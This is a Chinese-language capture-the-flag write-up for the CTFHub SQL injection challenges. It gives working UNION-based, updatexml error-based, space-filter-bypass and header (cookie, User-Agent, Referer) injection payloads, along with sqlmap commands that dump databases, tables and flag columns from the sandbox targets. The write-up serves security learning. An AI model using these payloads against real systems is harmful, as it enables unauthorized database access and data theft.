CTFHub-web(SQL注入)

文章目录

整数型注入

按照提示,我们输入1
CTFHub-web(SQL注入)然后输入

1 order by 2

发现order by 3无法正常回显,证明存在两列
CTFHub-web(SQL注入)

然后我们使用联合查询语句

-1 union select 1,2

CTFHub-web(SQL注入)
我们开始爆库

-1 union select 8,database()

CTFHub-web(SQL注入)
但我们爆表的时候发现出现错误,我们可以把表名转化为16进制,这里需要有火狐的hacker插件
CTFHub-web(SQL注入)

CTFHub-web(SQL注入)

-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=0x73716c69

然后我们执行
CTFHub-web(SQL注入)
然后我们爆字段

-1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x666c6167

CTFHub-web(SQL注入)
然后我们查询flag

-1  union select 1,flag from sqli.flag

CTFHub-web(SQL注入)
即可通关

字符型注入

我们输入

/?id=1'

页面回显CTFHub-web(SQL注入)
我们将最后一个引号注释掉–+
发现可以正常回显

/?id=1'--+

CTFHub-web(SQL注入)
然后我们跟第一关的步骤一样即可通关

查看列数
/?id=1' order by 1,2 --+
用联合查询语句
/?id=-1' union select 1,2 --+
查看库
/?id=-1' union select 1,database() --+
查看表
/?id=-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=0x73716c69 --+
查看字段
/?id=-1' union select 1,group_concat(column_name) from information_schema.columns where table_name=0x666c6167--+
爆字段
/?id=-1' union select 1,flag from sqli.flag --+

CTFHub-web(SQL注入)得到flag

报错注入

我们尝试输入

/?id=1

CTFHub-web(SQL注入)
回显没有问题

/?id=1'

CTFHub-web(SQL注入)
显示查询错误
我们可以使用语句updatexml,大家可以在网上查找相关资料和用法
我们查看库

/?id=1 and updatexml(1,concat(0x5e,database()),1)

然后我们查看表

/?id=1 and updatexml(1,concat(0x5e,(select group_concat(table_name) from information_schema.tables where table_schema=0x73716c69),0x5e),1)

查看字段

/?id=1 and updatexml(1,concat(0x5e,(select group_concat(column_name) from information_schema.columns where table_name=0x666c6167),0x5e),1)

然后查看字段flag的值

/?id=1 and updatexml(1,concat(0x5e,(select flag from sqli.flag),0x5e),1)

CTFHub-web(SQL注入)用语句

/?id=1 and updatexml(1,concat(0x5e,mid((select flag from sqli.flag),32),0x5e),1)

即可找到没有显示出来的值
得到完整的flag

布尔盲注

这道题我们使用sqlmap来进行爆破
首先输入

python sqlmap.py -u"http://challenge-fa8f88f443f54784.sandbox.ctfhub.com:10800/?id=1" -batch -dbs

这里python sqlmap.py -u"url" -batch是基本的注入框架,“-dbs”指向数据库。
运行结果
CTFHub-web(SQL注入)
然后我们输入

python sqlmap.py -u"http://challenge-fa8f88f443f54784.sandbox.ctfhub.com:10800/?id=1" -batch -D"sqli" -tables

-D是数据库,“-tables”指向爆破表名。
运行结果
CTFHub-web(SQL注入)然后我们输入

sqlmap.py -u"http://challenge-fa8f88f443f54784.sandbox.ctfhub.com:10800/?id=1" -batch -D"sqli" -T"flag" -columns

-T是表名,-columns是爆破列名
运行结果
CTFHub-web(SQL注入)
然后我们输入

sqlmap.py -u"http://challenge-fa8f88f443f54784.sandbox.ctfhub.com:10800/?id=1" -batch -D"sqli" -T"flag" -C"flag" -dump

-dump是爆数据,成功得到flag
CTFHub-web(SQL注入)

时间盲注

我们使用sqlmap,跟上一关的方法相同。
CTFHub-web(SQL注入)

Mysql结构

与上一关一样,用sqlmap跑,不一样的是表名,列名不太一样
爆库
CTFHub-web(SQL注入)库名
CTFHub-web(SQL注入)爆表
CTFHub-web(SQL注入)表名
CTFHub-web(SQL注入)
爆列
CTFHub-web(SQL注入)

列名

CTFHub-web(SQL注入)
爆字段
CTFHub-web(SQL注入)得到flagCTFHub-web(SQL注入)

Cookie注入

这关我们用burp抓包尝试,发现注入点
CTFHub-web(SQL注入)爆库
CTFHub-web(SQL注入)爆表CTFHub-web(SQL注入)爆列
CTFHub-web(SQL注入)爆字段
CTFHub-web(SQL注入)发现flag

UA注入

这关提示ua注入,我们打开burp抓包尝试
在ua处输入

11 union select 1,database()

得到库名
CTFHub-web(SQL注入)然后爆表
CTFHub-web(SQL注入)爆列
CTFHub-web(SQL注入)
爆字段
CTFHub-web(SQL注入)
得到flag

Refer注入

同样用burp抓包,发到重发器,然后在头部添加referer信息
CTFHub-web(SQL注入)即可找到注入点
同样,爆库,爆表
CTFHub-web(SQL注入)爆列
CTFHub-web(SQL注入)爆字段
CTFHub-web(SQL注入)找到flag。

过滤空格

此处过滤的方法为/**/,将所有空格替换即可

输入

-1/**/union/**/select/**/1,database()

CTFHub-web(SQL注入)

-1/**/union/**/select/**/1,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=0x73716c69

CTFHub-web(SQL注入)

-1/**/union/**/select/**/1,group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name=0x7378627379796d627771

CTFHub-web(SQL注入)

-1/**/union/**/select/**/1,zzymanwqkx/**/from/**/sxbsyymbwq

CTFHub-web(SQL注入)
得到flag

上一篇:CTFhub技能树-信息泄露(1)


下一篇:强制Edge浏览器以深色模式渲染网页